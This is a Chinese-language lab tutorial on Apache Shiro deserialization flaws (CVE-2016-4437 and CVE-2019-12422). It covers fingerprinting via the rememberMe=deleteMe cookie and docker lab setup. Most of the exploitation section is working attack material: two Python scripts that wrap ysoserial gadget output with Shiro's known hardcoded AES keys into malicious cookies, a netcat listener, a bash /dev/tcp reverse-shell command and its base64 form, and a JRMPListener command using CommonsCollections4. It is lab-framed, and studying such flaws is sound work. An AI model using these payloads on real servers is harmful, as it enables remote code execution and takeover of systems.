shiro反序列化漏洞

一、反序列化概念

1.什么是序列化？

序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中,保证对象的完整性
和可传递性；
反序列化即逆过程，由字节流还原成对象。根据字节流中保存的对象状态及描述信息，
通过反序列化重建对象。

2.序列化出现场景

●远程和进程间通信（RPC/IPC）
●连线协议、Web服务、消息代理
●缓存/持久性存储区
●数据库、缓存服务器、文件系统
●HTTP cookie、HTML表单参数、API身份验证令牌

二、Apache Shiro 1.2.4反序列化漏洞

1.定义

Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管
理。使用Shiro的易于理解的API，可以快速、轻松地获得任何应用程序,从最小的移动应
用程序到最大的网络和企业应用程序。
漏洞影响版本
Apache Shiro <=1.2.4

2.Shiro反序列化漏洞原理

AES加密的密钥Key被硬编码在代码里，Shiro是开源软件，意味着每个人通过源代码
都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，
AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将
rememberMe进行解密并且反序列化，最终造成反序列化漏洞。
在服务端接收cookie值时，按照如下步骤来解析处理：
检索RememberMe cookie 的值
Base 64解码
使用AES解密(加密密钥硬编码)
进行反序列化操作，生成用户登录信息对象（未作过滤处理）
在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。

3.漏洞特征

shiro反序列化的特征：
返回包中存在 rememberMe=deleteMe 字段

三、CVE-2016-4437漏洞复现(实验)

1.搭建环境

使用vulhub进行环境搭建，cd shiro/CVE-2016-4437
执行docker-compose up -d启动漏洞环境

访问8080

2.漏洞特征验证

1)未登陆验证

使用BP抓包，未登陆的情况下，请求包的cookie中没有rememberMe字段，返回包set-Cookie里也没有deleteMe字段

2)登陆失败验证

登陆失败的话，不管勾不勾选RememberMe字段，返回包中都会有rememberMe=deleteMe字段

3)登陆成功验证

使用正确账号admin:vulhub进行登录

①　不勾选

不勾选RememberMe字段，登陆成功的话，返回包set-Cookie会有
rememberMe=deleteMe字段。

但是之后的所有请求中Cookie都不会有rememberMe

②　勾选

勾选RememberMe字段，登陆成功的话，返回包set-Cookie会有
rememberMe=deleteMe字段，还会有rememberMe字段的所有请求

之后中Cookie都会有rememberMe字段

4)Shiro漏洞验证方法

如何判断网站是否使用shiro
找到网站登录的地方
随便输入账号密码抓包（一定要输入点击登录），看返回包是否有remembeMe字段，如我们直接访问登录的页面不进行登录，此时返回的数据包是没有remember字段的
如果没有remembeMe
还可以尝试在请求包中的cookie中加入 rememberMe=1 ，来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空这时，我们手动加上一个cookie:rememberMe=1，注意cookie要放在Upgrade的上面，则返回了remember字段。说明使用了shiro框架，可能存在shiro反序列化漏洞

5)漏洞利用

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进
行漏洞利用，这里漏洞检测和利用的方式有两种
第一种是使用jar工具进行验证。
第二种方式是使用python脚本进行验证。
使用jar工具检测是否存在shiro漏洞，执行命令

反弹shell

四、CVE-2019-12422漏洞复现(实验)

1.搭建环境

获取docker镜像：docker pull medicean/vulapps:s_shiro_1

启动docker镜像：docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1

点击account_page

2.检测是否为shiro框架

开启bp抓包，发现返回包存在Set-Cookie 中存在 rememberMe=deleteMe 字段

3.制作payload

dnslog申请一个临时域名
shiro.py内容如下

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    #key =  "Z3VucwAAAAAAAAAAAAAAAA=="
    #key = "wGiHplamyXlVB11UXWol8g=="
	
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={0}".format(payload.decode()),file=fpw)

使用shiro.py 脚本，生成检测payload(dns解析)

例如：python shiro.py “http://4xakbz.dnslog.cn”
需安装crypto

路径下获得了一个payload.cookie

4.漏洞验证

把刚刚生成的payload.cookie粘贴到包里，burp发包，查看dnslog，是否存在dns解析记录

dnslog出现回显，说明存在漏洞

5.漏洞利用(反弹shell)

①　VPS监听端口

nc -lvvp 10808

②　构造shell命令

构造反弹shell命令，并且进行base64编码
/bin/bash -i >& /dev/tcp/192.168.155.2/10808 0>&1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==

③　开启JRMP服务

在VPS开启一个JRMP(端口设置1099)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}”

④　构造payload

使用s.py构造payload，使存在shiro反序列化的服务器，
python3 s.py 192.168.155.2:1099（攻击者监听的端口）
s.py内容如下：

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print("rememberMe={0}".format(payload.decode()))

⑤　前台登录

注意需要勾选Remember Me ，截获数据包，加入payload，将payload发送服务器

⑥　追加cookie

将s.py生成的内容追加到cookie后面

反弹shell成功